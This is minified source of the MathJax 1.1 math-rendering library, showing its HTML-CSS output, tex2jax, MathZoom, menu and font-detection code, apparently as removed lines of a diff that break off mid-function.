-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
-MathJax.Extension.tex2jax={version:"1.1.3",config:{inlineMath:[["\\(","\\)"]],displayMath:[["$$","$$"],["\\[","\\]"]],skipTags:["script","noscript","style","textarea","pre","code"],ignoreClass:"tex2jax_ignore",processClass:"tex2jax_process",processEscapes:false,processEnvironments:true,preview:"TeX"},PreProcess:function(a){if(!this.configured){this.config=MathJax.Hub.CombineConfig("tex2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}if(typeof(this.config.previewTeX)!=="undefined"&&!this.config.previewTeX){this.config.preview="none"}this.configured=true}if(typeof(a)==="string"){a=document.getElementById(a)}if(!a){a=document.body}this.createPatterns();this.scanElement(a,a.nextSibling)},createPatterns:function(){var d=[],c,a,b=this.config;this.match={};for(c=0,a=b.inlineMath.length;c<a;c++){d.push(this.patternQuote(b.inlineMath[c][0]));this.match[b.inlineMath[c][0]]={mode:"",end:b.inlineMath[c][1],pattern:this.endPattern(b.inlineMath[c][1])}}for(c=0,a=b.displayMath.length;c<a;c++){d.push(this.patternQuote(b.displayMath[c][0]));this.match[b.displayMath[c][0]]={mode:"; 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-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var r=o.HTMLspanElement().bbox;b.idPostfix="";if(r.width&&r.width!=="100%"){var j=Math.floor(0.85*document.body.clientWidth);q.style.width=j+"px";q.style.display="inline-block";var k=(o.id||"MathJax-Span-"+o.spanID)+"-zoom";var l=document.getElementById(k).firstChild;while(l&&l.style.width!==r.width){l=l.nextSibling}if(l){l.style.width="100%"}}q.appendChild(this.topImg);var n=this.topImg.offsetTop;q.removeChild(this.topImg);var m=(this.msieWidthBug?b.getW(p)*b.em:p.offsetWidth);return{w:r.w*b.em,Y:-n,W:m}},ZoomMathML:function(k,l,m){k.toNativeMML(l,l);var n;l.appendChild(this.topImg);n=this.topImg.offsetTop;l.removeChild(this.topImg);var j=(this.ffMMLwidthBug?m.parentNode:m).offsetWidth;return{w:l.offsetWidth,Y:-n,W:j}},Position:function(p,n,r){var k=this.Resize(),m=k.x,l=k.y,j=n.W;if(this.msiePositionBug){j=-j}if(r&&this.ffMMLcenterBug){j=0}var q=-Math.floor((p.offsetWidth-j)/2),o=n.Y;p.style.left=Math.max(q,20-m)+"px";p.style.top=Math.max(o,20-l)+"px"},Resize:function(l){if(f.onresize){f.onresize(l)}var j=0,o=0,n=document.getElementById("MathJax_ZoomFrame"),k=document.getElementById("MathJax_ZoomOverlay");var m=(f.msieZIndexBug?document.getElementById("MathJax_ZoomTracker"):n);if(f.operaPositionBug){n.style.border="1px solid"}if(m.offsetParent){do{j+=m.offsetLeft;o+=m.offsetTop}while(m=m.offsetParent)}if(f.operaPositionBug){n.style.border=""}if(f.msieZIndexBug){n.style.left=j+"px";n.style.top=o+"px"}k.style.left=(-j)+"px";k.style.top=(-o)+"px";if(f.msiePositionBug){setTimeout(f.SetWH,0)}else{f.SetWH()}return{x:j,y:o}},SetWH:function(){var j=document.getElementById("MathJax_ZoomOverlay");j.style.width=j.style.height="1px";j.style.width=document.body.scrollWidth+"px";j.style.height=document.body.scrollHeight+"px"},Remove:function(k){var l=document.getElementById("MathJax_ZoomFrame");if(l){l.parentNode.removeChild(l);l=document.getElementById("MathJax_ZoomTracker");if(l){l.parentNode.removeChild(l)}if(f.operaRefreshBug){var j=c.addElement(document.body,"div",{style:{position:"fixed",left:0,top:0,width:"100%",height:"100%",backgroundColor:"white",opacity:0},id:"MathJax_OperaDiv"});document.body.removeChild(j)}if(window.removeEventListener){removeEventListener("resize",f.Resize,false)}else{if(window.detachEvent){detachEvent("onresize",f.Resize)}else{window.onresize=f.onresize;delete f.onresize}}}return d(k)}};a.Register.StartupHook("HTML-CSS Jax Ready",function(){b=MathJax.OutputJax["HTML-CSS"];b.Augment({HandleEvent:f.HandleEvent})});a.Register.StartupHook("NativeMML Jax Ready",function(){h=MathJax.OutputJax.NativeMML;h.Augment({HandleEvent:f.HandleEvent,MSIEmouseup:function(l,k,j){if(this.trapUp){delete this.trapUp;return true}if(this.MSIEzoomKeys(l)){return true}return false},MSIEclick:function(l,k,j){if(this.trapClick){delete this.trapClick;return true}if(!this.MSIEzoomKeys(l)){return false}if(!this.settings.zoom.match(/Click/)){return false}return(f.Click(l,k)===false)},MSIEdblclick:function(l,k,j){if(!this.MSIEzoomKeys(l)){return false}return(f.DblClick(l,k)===false)},MSIEmouseover:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEmouseout:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.ClearTimer();return true},MSIEmousemove:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEzoomKeys:function(j){if(this.settings.CTRL&&!j.ctrlKey){return false}if(this.settings.CMD&&!j.metaKey){return false}if(this.settings.ALT&&!j.altKey){return false}if(this.settings.Shift&&!j.shiftKey){return false}return true}})});a.Browser.Select({MSIE:function(j){var k=(document.compatMode==="BackCompat");var l=j.versionAtLeast("8.0")&&document.documentMode>7;f.msiePositionBug=true;f.msieWidthBug=!k;f.msieIE8Bug=l;f.msieZIndexBug=!l;f.msieInlineBlockAlignBug=(!l||k);if(document.documentMode>=9){delete g.styles["#MathJax_Zoom"].filter}},Opera:function(j){f.operaPositionBug=true;f.operaRefreshBug=true},Firefox:function(j){f.ffMMLwidthBug=true;f.ffMMLcenterBug=true}});f.topImg=(f.msieInlineBlockAlignBug?c.Element("img",{style:{width:0,height:0},src:"about:blank"}):c.Element("span",{style:{width:0,height:0,display:"inline-block"}}));if(f.operaPositionBug){f.topImg.style.border="1px solid"}MathJax.Callback.Queue(["Styles",e,g.styles],["Post",a.Startup.signal,"MathZoom Ready"],["loadComplete",e,"[MathJax]/extensions/MathZoom.js"])})(MathJax.Hub,MathJax.HTML,MathJax.Ajax,MathJax.OutputJax["HTML-CSS"],MathJax.OutputJax.NativeMML);
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2em","background-color":"#DDDDDD",color:"black",cursor:"default","font-family":"message-box","font-size":"120%","font-style":"normal","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":"15px","-webkit-border-radius":"15px","-moz-border-radius":"15px","-khtml-border-radius":"15px","box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_Menu":{position:"absolute","background-color":"white",color:"black",width:"auto",padding:(i?"2px":"5px 0px"),border:"1px solid #CCCCCC",margin:0,cursor:"default",font:"menu","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":e,"-webkit-border-radius":e,"-moz-border-radius":e,"-khtml-border-radius":e,"box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_MenuItem":{padding:(i?"2px 2em":"1px 2em"),background:"transparent"},".MathJax_MenuTitle":{"background-color":"#CCCCCC",margin:(i?"-1px -1px 1px -1px":"-5px 0 0 0"),"text-align":"center","font-style":"italic","font-size":"80%",color:"#444444",padding:"2px 0",overflow:"hidden"},".MathJax_MenuArrow":{position:"absolute",right:".5em",color:"#666666","font-family":(g?"'Arial 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this},Post:function(n,v){if(!n){n=window.event}var t=(!this.title?null:[["div",{className:"MathJax_MenuTitle"},[this.title]]]);var l=document.getElementById("MathJax_MenuFrame");if(!l){l=a.Background(this)}var o=c.addElement(l,"div",{onmouseup:a.Mouseup,ondblclick:this.False,ondragstart:this.False,onselectstart:this.False,oncontextmenu:this.False,menuItem:this,className:"MathJax_Menu"},t);for(var q=0,p=this.items.length;q<p;q++){this.items[q].Create(o)}this.posted=true;o.style.width=(o.offsetWidth+2)+"px";var u=n.pageX,s=n.pageY;if(!u&&!s){u=n.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;s=n.clientY+document.body.scrollTop+document.documentElement.scrollTop}if(!v){if(u+o.offsetWidth>document.body.offsetWidth-this.margin){u=document.body.offsetWidth-o.offsetWidth-this.margin}a.skipUp=true}else{var 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c=a.mo.OPTYPES.REL;MathJax.Hub.Insert(a.mo.prototype,{OPTABLE:{infix:{"\u2322":c,"\u2323":c,"\u25B3":c,"\uE006":c,"\uE007":c,"\uE00C":c,"\uE00D":c,"\uE00E":c,"\uE00F":c,"\uE010":c,"\uE011":c,"\uE016":c,"\uE017":c,"\uE018":c,"\uE019":c,"\uE01A":c,"\uE01B":c,"\uE04B":c,"\uE04F":c}}})});MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var a=MathJax.OutputJax["HTML-CSS"];var b=a.FONTDATA.VARIANT;if(a.fontInUse==="TeX"){b["-TeX-variant"]={fonts:["MathJax_AMS","MathJax_Main","MathJax_Size1"],remap:{8808:57356,8809:57357,8816:57361,8817:57358,10887:57360,10888:57359,8740:57350,8742:57351,8840:57366,8841:57368,8842:57370,8843:57371,10955:57367,10956:57369,988:57352,1008:57353}};if(a.msieIE6){MathJax.Hub.Insert(b["-TeX-variant"].remap,{8592:[58049,"-WinIE6"],8594:[58048,"-WinIE6"],8739:[58050,"-WinIE6"],8741:[58051,"-WinIE6"],8764:[58052,"-WinIE6"],9651:[58067,"-WinIE6"]})}}if(a.fontInUse==="STIX"){MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var c=MathJax.InputJax.TeX.Definitions;c.mathchar0mi.varnothing="2205";c.mathchar0mi.hslash="210F";c.mathchar0mi.blacktriangle="25B4";c.mathchar0mi.blacktriangledown="25BE";c.mathchar0mi.square="25FB";c.mathchar0mi.blacksquare="25FC";c.mathchar0mi.vartriangle=["25B3",{mathsize:"71%"}];c.mathchar0mi.triangledown=["25BD",{mathsize:"71%"}];c.mathchar0mo.blacktriangleleft="25C2";c.mathchar0mo.blacktriangleright="25B8";c.mathchar0mo.smallsetminus="2216";MathJax.Hub.Insert(b["-STIX-variant"],{remap:{10887:57360,10888:57359,8816:57361,8817:57358,8928:57419,8929:57423,8840:57366,8841:57368}})})}MathJax.Hub.Startup.signal.Post("TeX AMSsymbols Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/AMSsymbols.js");
-
-(function(c,d,e){var a;var b=MathJax.Object.Subclass({timeout:5*1000,FontInfo:{STIX:{family:"STIXSizeOneSym",testString:"() {} []"},TeX:{family:"MathJax_Size1",testString:"() {} []"}},comparisonFont:["sans-serif","monospace","script","Times","Courier","Arial","Helvetica"],testSize:["40px","50px","60px","30px","20px"],Init:function(){this.div=MathJax.HTML.addElement(document.body,"div",{style:{position:"absolute",visibility:"hidden",top:0,left:0,width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal",fontSize:this.testSize[0],fontWeight:"normal",fontStyle:"normal"}},[""]);this.text=this.div.firstChild},findFont:function(j,g){if(g&&this.testCollection(g)){return g}for(var h=0,f=j.length;h<f;h++){if(j[h]===g){continue}if(this.testCollection(j[h])){return j[h]}}return null},testCollection:function(f){return this.testFont(this.FontInfo[f])},testFont:function(h){if(h.isWebFont&&e.FontFaceBug){this.div.style.fontWeight=this.div.style.fontStyle="normal"}else{this.div.style.fontWeight=(h.weight||"normal");this.div.style.fontStyle=(h.style||"normal")}var g=this.getComparisonWidths(h.testString,h.noStyleChar);if(g){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[0];if(this.div.offsetWidth==g[0]){this.div.style.fontFamily="'"+h.family+"',"+this.comparisonFont[g[2]];if(this.div.offsetWidth==g[1]){return false}}if(this.div.offsetWidth!=g[3]){if(h.noStyleChar||!e.FONTDATA||!e.FONTDATA.hasStyleChar){return true}for(var j=0,f=this.testSize.length;j<f;j++){if(this.testStyleChar(h,this.testSize[j])){return true}}}}return false},styleChar:String.fromCharCode(61437),versionChar:String.fromCharCode(61438),compChar:String.fromCharCode(61439),testStyleChar:function(h,j){var m=3+(h.weight?2:0)+(h.style?4:0);var g="",i=0;var l=this.div.style.fontSize;this.div.style.fontSize=j;if(e.msieItalicWidthBug&&h.style==="italic"){this.text.nodeValue=g=this.compChar;i=this.div.offsetWidth}if(e.safariTextNodeBug){this.div.innerHTML=this.compChar+g}else{this.text.nodeValue=this.compChar+g}var f=this.div.offsetWidth-i;if(e.safariTextNodeBug){this.div.innerHTML=this.styleChar+g}else{this.text.nodeValue=this.styleChar+g}var k=Math.floor((this.div.offsetWidth-i)/f+0.5);if(k===m){if(e.safariTextNodeBug){this.div.innerHTML=this.versionChar+g}else{this.text.nodeValue=this.versionChar+g}h.version=Math.floor((this.div.offsetWidth-i)/f+1.5)/2}this.div.style.fontSize=l;return(k===m)},getComparisonWidths:function(j,h){if(e.FONTDATA&&e.FONTDATA.hasStyleChar&&!h){j+=this.styleChar+" "+this.compChar}if(e.safariTextNodeBug){this.div.innerHTML=j}else{this.text.nodeValue=j}this.div.style.fontFamily=this.comparisonFont[0];var g=this.div.offsetWidth,l=-1;if(e.safariWebFontSerif){this.div.style.fontFamily=e.safariWebFontSerif[0];l=this.div.offsetWidth}for(var k=1,f=this.comparisonFont.length;k<f;k++){this.div.style.fontFamily=this.comparisonFont[k];if(this.div.offsetWidth!=g){return[g,this.div.offsetWidth,k,l]}}return null},loadWebFont:function(g){d.Startup.signal.Post("HTML-CSS Jax - Web-Font "+e.fontInUse+"/"+g.directory);var i=MathJax.Message.File("Web-Font "+e.fontInUse+"/"+g.directory);var f=MathJax.Callback({});var h=MathJax.Callback(["loadComplete",this,g,i,f]);c.timer.start(c,[this.checkWebFont,g,h],1,this.timeout);return f},loadComplete:function(h,j,g,f){MathJax.Message.Clear(j);if(f===c.STATUS.OK){g();return}this.loadError(h);if(d.Browser.isFirefox&&e.allowWebFonts){var i=document.location.protocol+"//"+document.location.hostname;if(document.location.port!=""){i+=":"+document.location.port}i+="/";if(c.fileURL(e.webfontDir).substr(0,i.length)!==i){this.firefoxFontError(h)}}e.loadWebFontError(h,g)},loadError:function(f){MathJax.Message.Set("Can't load web font "+e.fontInUse+"/"+f.directory,null,2000)},firefoxFontError:function(f){MathJax.Message.Set("Firefox can't load web fonts from a remote host",null,3000)},checkWebFont:function(f,g,h){if(f.time(h)){return}if(e.Font.testFont(g)){h(f.STATUS.OK)}else{setTimeout(f,f.delay)}},fontFace:function(h){var i=e.allowWebFonts;var k=e.FONTDATA.FONTS[h];if(e.msieFontCSSBug&&!k.family.match(/-Web$/)){k.family+="-Web"}var g=c.fileURL(e.webfontDir+"/"+i);var f=h.replace(/-b/,"-B").replace(/-i/,"-I").replace(/-Bold-/,"-Bold");if(!f.match(/-/)){f+="-Regular"}if(i==="svg"){f+=".svg#"+f}else{f+="."+i}var j={"font-family":k.family,src:"url('"+g+"/"+f+"')"};if(i==="svg"){j.src+=" format('svg')"}if(!(e.FontFaceBug&&k.isWebFont)){if(h.match(/-bold/)){j["font-weight"]="bold"}if(h.match(/-italic/)){j["font-style"]="italic"}}return j}});e.Augment({config:{styles:{".MathJax":{display:"inline","font-family":"serif","font-style":"normal","font-weight":"normal","line-height":"normal","font-size":"100%","font-size-adjust":"none","text-indent":0,"text-align":"left","text-transform":"none","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none",direction:"ltr",border:0,padding:0,margin:0},".MathJax_Display":{position:"relative",display:"block",width:"100%"},".MathJax img, .MathJax nobr, .MathJax a":{border:0,padding:0,margin:0,"max-width":"none","max-height":"none","vertical-align":0,"line-height":"normal","text-decoration":"none"},"img.MathJax_strut":{border:"0 !important",padding:"0 !important",margin:"0 !important","vertical-align":"0 !important"},".MathJax span":{display:"inline",position:"static",border:0,padding:0,margin:0,"vertical-align":0,"line-height":"normal","text-decoration":"none"},".MathJax nobr":{"white-space":"nowrap"},".MathJax img":{display:"inline ! important"},".MathJax_Processing":{visibility:"hidden",position:"fixed",width:0,height:0,overflow:"hidden"},".MathJax .MathJax_HitBox":{cursor:"text"},"#MathJax_Tooltip":{position:"absolute",left:0,top:0,width:"auto",height:"auto",display:"none"},"#MathJax_Tooltip *":{filter:"none",background:"transparent"}}},settings:d.config.menuSettings,LEFTBUTTON:(d.Browser.isMSIE?1:0),MENUKEY:"altKey",Font:null,Config:function(){this.Font=b();this.SUPER(arguments).Config.call(this);var g=this.settings;if(this.adjustAvailableFonts){this.adjustAvailableFonts(this.config.availableFonts)}if(g.scale){this.config.scale=g.scale}if(g.font&&g.font!=="Auto"){if(g.font==="TeX (local)"){this.config.availableFonts=["TeX"];this.config.preferredFont="TeX";this.config.webFont="TeX"}else{if(g.font==="STIX (local)"){this.config.availableFonts=["STIX"];this.config.preferredFont="STIX";this.config.webFont="TeX"}else{if(g.font==="TeX (web)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont="TeX"}else{if(g.font==="TeX (image)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont=""}}}}}var f=this.Font.findFont(this.config.availableFonts,this.config.preferredFont);if(!f&&this.allowWebFonts){f=this.config.webFont;if(f){this.webFonts=true}}if(!f&&this.config.imageFont){f=this.config.imageFont;this.imgFonts=true}if(f){this.fontInUse=f;this.fontDir+="/"+f;this.webfontDir+="/"+f;if(!this.require){this.require=[]}this.require.push(this.fontDir+"/fontdata.js");if(this.imgFonts){this.require.push(this.directory+"/imageFonts.js");d.Startup.signal.Post("HTML-CSS Jax - using image fonts")}}else{MathJax.Message.Set("Can't find a valid font using ["+this.config.availableFonts.join(", ")+"]",null,3000);this.FONTDATA={TeX_factor:1,baselineskip:1.2,lineH:0.8,lineD:0.2,ffLineH:0.8,FONTS:{},VARIANT:{normal:{fonts:[]}},RANGES:[],DELIMITERS:{},RULECHAR:45,REMAP:{}};if(MathJax.InputJax.TeX&&MathJax.InputJax.TeX.Definitions){MathJax.InputJax.TeX.Definitions.macros.overline[1]="002D";MathJax.InputJax.TeX.Definitions.macros.underline[1]="002D"}d.Startup.signal.Post("HTML-CSS Jax - no valid font")}},Startup:function(){var h=[],l=this.FONTDATA.VARIANT.normal.fonts;if(!(l instanceof Array)){l=[l]}for(var g=0,f=l.length;g<f;g++){h[g]=this.FONTDATA.FONTS[l[g]].family;if(!h[g]){h[g]=l[g]}}this.config.styles[".MathJax .math span"]=this.config.styles["#MathJax_getScales"]={"font-family":h.join(",")};this.hiddenDiv=this.Element("div",{style:{visibility:"hidden",overflow:"hidden",position:"absolute",top:0,height:"1px",width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal"}});if(!document.body.firstChild){document.body.appendChild(this.hiddenDiv)}else{document.body.insertBefore(this.hiddenDiv,document.body.firstChild)}this.hiddenDiv=this.addElement(this.hiddenDiv,"div",{id:"MathJax_Hidden"});var k=this.addElement(this.hiddenDiv,"div",{style:{width:"5in"}});this.pxPerInch=k.offsetWidth/5;this.hiddenDiv.removeChild(k);this.startMarker=e.createStrut(this.Element("span"),10,true);this.endMarker=this.addText(this.Element("span"),"x").parentNode;this.HDspan=this.Element("span");if(this.operaHeightBug){this.createStrut(this.HDspan,0)}if(this.msieInlineBlockAlignBug){this.HDimg=this.addElement(this.HDspan,"img",{style:{height:"0px",width:"1px"}});try{this.HDimg.src="about:blank"}catch(j){}}else{this.HDimg=e.createStrut(this.HDspan,0)}this.HDMspan=this.Element("span",{style:{position:"absolute","font-size-adjust":"none"}});if(this.msieInlineBlockAlignBug){this.HDMimg=this.addElement(this.HDMspan,"img",{style:{height:"0px",width:"1px","max-width":"none","max-height":"none",border:0,padding:0,margin:0}});try{this.HDMimg.src="about:blank"}catch(j){}}else{this.HDMimg=e.createStrut(this.HDMspan,0);this.HDMimg.style.marginRight=""}this.marginCheck=e.Element("span",null,[["span",{style:{display:"inline-block",width:"5em"}}]]);this.marginMove=e.addElement(this.marginCheck,"span",{style:{display:"inline-block",width:"5em",marginLeft:"-5em"}});return c.Styles(this.config.styles,["PreloadWebFonts",this])},PreloadWebFonts:function(){if(!e.allowWebFonts||!e.config.preloadWebFonts){return}for(var g=0,f=e.config.preloadWebFonts.length;g<f;g++){var h=e.FONTDATA.FONTS[e.config.preloadWebFonts[g]];if(!h.available){e.Font.testFont(h)}}},Translate:function(l){if(!l.parentNode){return}var j=l.previousSibling;if(j&&String(j.className).match(/^MathJax(_MathML|_Display)?$/)){j.parentNode.removeChild(j)}var m=l.MathJax.elementJax.root,n,f,h;n=f=h=this.Element("span",{className:"MathJax",oncontextmenu:this.ContextMenu,onmousedown:this.Mousedown,onmouseover:this.Mouseover,onclick:this.Click,ondblclick:this.DblClick});var i=(m.Get("display")==="block");if(i){f=h=this.Element("div",{className:"MathJax_Display",style:{width:"100%",position:"relative"}});f.appendChild(n)}f.setAttribute("role","textbox");f.setAttribute("aria-readonly","true");if(this.useProcessingFrame){h=this.Element((i?"div":"span"),{className:"MathJax_Processing"});h.appendChild(f)}l.parentNode.insertBefore(h,l);var g;try{this.getScales(n);g=(this.em===0||String(this.em)==="NaN")}catch(k){g=true}if(g){this.hiddenDiv.appendChild(h);this.getScales(n)}this.initImg(n);this.initHTML(m,n);m.setTeXclass();try{m.toHTML(n,f)}catch(k){if(k.restart){h.parentNode.removeChild(h)}throw k}if(g){l.parentNode.insertBefore(h,l)}if(this.useProcessingFrame){h.parentNode.replaceChild(f,h)}},ContextMenu:function(i,j){if(e.config.showMathMenu&&(e.settings.context==="MathJax"||j)){if(e.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||e.msieEventBug){i=window.event}var f=MathJax.Menu;if(f){var h=(this.parentNode.className==="MathJax_Display"?this.parentNode:this);f.jax=d.getJaxFor(h.nextSibling);f.menu.items[1].menu.items[1].name=(f.jax.inputJax.id==="MathML"?"Original":f.jax.inputJax.id);return f.menu.Post(i)}else{if(!c.loadingMathMenu){c.loadingMathMenu=true;var 